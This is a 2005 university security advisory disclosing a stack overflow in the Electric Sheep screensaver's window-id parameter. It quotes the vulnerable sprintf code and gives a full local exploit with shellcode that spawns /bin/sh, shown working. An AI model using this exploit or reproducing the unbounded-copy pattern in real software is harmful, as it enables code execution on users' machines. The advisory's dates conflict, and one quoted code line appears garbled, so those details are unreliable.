- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Polytechnic University ISIS Security Advisory PUISIS10202005 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://isis.poly.edu - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ~ Application: Electric Sheep v2.6.3 ~ Severity: Normal ~ Title: Electric Sheep window-id stack overflow ~ Date: October 20, 2005 ~ ID: PUISIS10202005 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Summary ======= Due to insufficient bounds checking, a lengthy window-id parameter can cause a stack based buffer overflow to occur allowing execution of arbitrary code with the privileges of the invoking user. This could potentially be used as a backdoor entry point. Background ========== "Electric Sheep is a free, open source screen saver run by thousands of people all over the world. It can be installed on any ordinary PC or Mac. When these computers "sleep", the screen saver comes on and the computers communicate with each other by the internet to share the work of creating morphing abstract animations known as "sheep". http://electricsheep.org/ Description =========== electricsheep.c 419: default_background(char *more) { char ob[MAXBUF]; char pbuf[MAXBUF]; char qbuf[MAXBUF]; if (nobg || (!on_root && !window_id)) return; if (more) sprintf(ob, "-merge -at 500,0 s.tif", splash_prefix, more); else ob[0] = 0; if (window_id) sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on qbuf Because window_id comes directly from the command line, a malicious user has the potential to supply a window_id larger than MAXBUF and corrupt sorrounding memory. The vulnerability can be seen by executing the following command. electricsheep -window-id `perl -e '{print "A"x"40000";}'` Bad integer argument for the windowid option Usage: xsetbg [global options] {[image options] image_name ...} Type `xsetbg -help [option ...]' for information on a particular option, or `xsetbg -help' to enter the interactive help facility. subprocess failure: splash0, 256=1<<8+0 Segmentation fault An exploit spawing /bin/sh on SUSE Linux narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl - e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46 \x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb \x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print "\x80\xc4\xfd\xbf"; print "C"x"39219";}'` Bad integer argument for the windowid option Usage: xsetbg [global options] {[image options] image_name ...} Type `xsetbg -help [option ...]' for information on a particular option, or `xsetbg -help' to enter the interactive help facility. subprocess failure: splash0, 256=1<<8+0 sh-3.00$ whoami narain sh-3.00$ Impact ====== This local exploit to the sheep client does not pose a significant threat as electricsheep does not setuid(0). However, local exploits may be used as mechanisms for subvert command execution once a system has been compromised or used to create backdoors. Workaround ========== The vendor was notified on November 18, 2005. The vendor was extremely responsive and cooperative in regards to these security issues. All issues are fixed in the CVS HEAD of Electric Sheep client development and will be included in the next release. About ===== The Information Systems and Internet Security (ISIS) Laboratory is an NSF funded laboratory designed to facilitate hands-on experimentation and project work in issues related to information security. It provides the focus for multidisciplinary research and education in emerging areas of security. Polytechnic University, an NSA Center of Academic Excellence in Information Assurance Education, houses the lab. This vulnerability was discovered during coursework performed for "Penetration Testing & Vulnerability Analysis" offered at Polytechnic University (http://www.poly.edu) during the Fall 2005 semester. License ======= The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 Authors ======= Michael Aiello http://www.michaelaiello.com Daniel Guido dguido@gmail.com